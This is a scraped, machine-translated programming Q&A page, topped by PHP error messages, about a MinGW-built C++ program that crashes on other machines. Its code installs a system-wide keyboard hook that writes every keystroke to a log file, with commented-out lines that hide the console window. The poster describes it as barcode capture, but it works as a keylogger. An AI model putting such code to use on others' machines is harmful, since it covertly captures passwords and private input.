Warning: file_get_contents(/data/phpspider/zhask/data//catemap/6/cplusplus/145.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
C++编译的exe在另一台机器上崩溃_C++_Crash_Mingw_Exe - Fatal编程技术网

C++编译的exe在另一台机器上崩溃

C++编译的exe在另一台机器上崩溃,c++,crash,mingw,exe,C++,Crash,Mingw,Exe,我对此代码有问题: 我正在使用mingw,当我编译它时,使用: g++helloworld.cpp-o helloworld.exe 它在编译了几个小时的机器上工作,一点问题也没有。 但在其他机器上,如XP Pro,它运行第一行并崩溃 这是用于捕获条形码的代码,而不是键盘记录器 #include <windows.h> #include <stdio.h> #include <stdlib.h> #include <winuse

我对此代码有问题: 我正在使用mingw,当我编译它时,使用: g++helloworld.cpp-o helloworld.exe 它在编译了几个小时的机器上工作,一点问题也没有。 但在其他机器上,如XP Pro,它运行第一行并崩溃 这是用于捕获条形码的代码,而不是键盘记录器

 #include <windows.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <winuser.h>
    #include <iostream>
    #include <time.h>

    using namespace std;

    HHOOK KBDHOOK;
    KBDLLHOOKSTRUCT kbdStruct;
    int endbarcode = 0;


    int Save (int KS)
    {
    time_t rawtime;
    struct tm * timeinfo;
    char buffer[80];

        if ( (KS == 1) || (KS == 2) )
            return 0;

        FILE *OUTPUT_FILE;
        OUTPUT_FILE = fopen("log.txt", "a+");

        cout << KS << endl;

            if(endbarcode == 0)
            {
         time(&rawtime);
                timeinfo = localtime(&rawtime);
                strftime(buffer,80,"%Y-%m-%d %H:%M:%S ",timeinfo);
                puts(buffer);

                endbarcode = 1;
                fprintf(OUTPUT_FILE, "%s", buffer);
            }

            if (KS == 8)
            fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
            else if (KS == 13)
            {
                fprintf(OUTPUT_FILE, "%s", "\n");
                endbarcode = 0;
            }

            else if (KS == 32)
            fprintf(OUTPUT_FILE, "%s", " ");
            else if (KS == VK_TAB)
            fprintf(OUTPUT_FILE, "%s", "[TAB]");
                else if (KS == VK_SHIFT)
            fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
                else if (KS == VK_CONTROL)
            fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
                    else if (KS == VK_ESCAPE)
            fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
                    else if (KS == VK_END)
            fprintf(OUTPUT_FILE, "%s", "[END]");
                        else if (KS == VK_HOME)
            fprintf(OUTPUT_FILE, "%s", "[HOME]");
                        else if (KS == VK_LEFT)
            fprintf(OUTPUT_FILE, "%s", "[LEFT]");
                            else if (KS == VK_UP)
            fprintf(OUTPUT_FILE, "%s", "[UP]");
                            else if (KS == VK_RIGHT)
            fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
                                else if (KS == VK_DOWN)
            fprintf(OUTPUT_FILE, "%s", "[DOWN]");
                                else if (KS == 190 || KS == 110)
            fprintf(OUTPUT_FILE, "%s", ".");
                                else
                                    fprintf(OUTPUT_FILE, "%s", &KS);

    fclose (OUTPUT_FILE);
        return 0;
    }

    LRESULT CALLBACK LowLevelKeyboardPoc(int nCode, WPARAM wParam, LPARAM lParam)
    {
        if(nCode < 0)
            return CallNextHookEx(KBDHOOK, 0, wParam, lParam);

            if(nCode == HC_ACTION)
            {
            if(wParam == WM_KEYDOWN)
                {

            kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
            printf("%X\t%c\n", (unsigned int)kbdStruct.vkCode, (char)kbdStruct.vkCode);
            Save((unsigned int)kbdStruct.vkCode);
                }

                }


        return CallNextHookEx(KBDHOOK, nCode, wParam, lParam);
    }



    int main()
    {

        cout << "the main method has run" << endl;

       // HWND stelth;
      //  stelth = FindWindowA("ConsoleWindowClass", NULL);
      //  ShowWindow(stelth,0);
    if((KBDHOOK = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardPoc, GetModuleHandle(NULL), 0)) == NULL)
         {
             cout << "The hook NOT installed";
         }
         cout << "hook installed" << endl;
        MSG Message;
    while(GetMessage(&Message, NULL, 0, 0))
    {
    TranslateMessage(&Message);
    DispatchMessage(&Message);
    }
    GetLastError();

    UnhookWindowsHookEx(KBDHOOK);
    return 0;
    }

如果目标机器上的代码不是同一个体系结构,那么您真的应该在目标机器上重新编译代码——这可能是罪魁祸首。如果情况并非如此,您是否尝试并调试了该程序,并查看哪一行失败?猜测:fopen失败且输出_文件为空,这会在fprintf中使用时导致崩溃?@NickolayRatchev如果架构不同,则程序根本无法启动。请在崩溃的机器上的调试器中运行该程序。这将准确地指出问题。在调试器中运行它,但一切正常没有问题